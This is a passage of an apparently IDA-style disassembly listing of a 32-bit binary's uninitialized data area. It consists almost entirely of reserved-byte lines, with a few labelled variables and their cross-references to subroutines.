		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807A758	db    ?	;		; DATA XREF: sub_804E490+178o
					; sub_804E490+188o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
byte_807A857	db ?			; DATA XREF: sub_804E490+16Bw
dword_807A858	dd ?			; DATA XREF: sub_8054E0C+13o
					; sub_8054E0C+24w
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807AC58	dd ?			; DATA XREF: sub_8054E54+1Cw
					; sub_8054EC8+44r ...
word_807AC5C	dw ?			; DATA XREF: sub_80552B0+36w
					; sub_80552B0+9Bo
unk_807AC5E	db    ?	;		; DATA XREF: sub_80552B0+46o
					; sub_80552B0+88o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807AC6C	db    ?	;		; DATA XREF: sub_80566A4+6o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
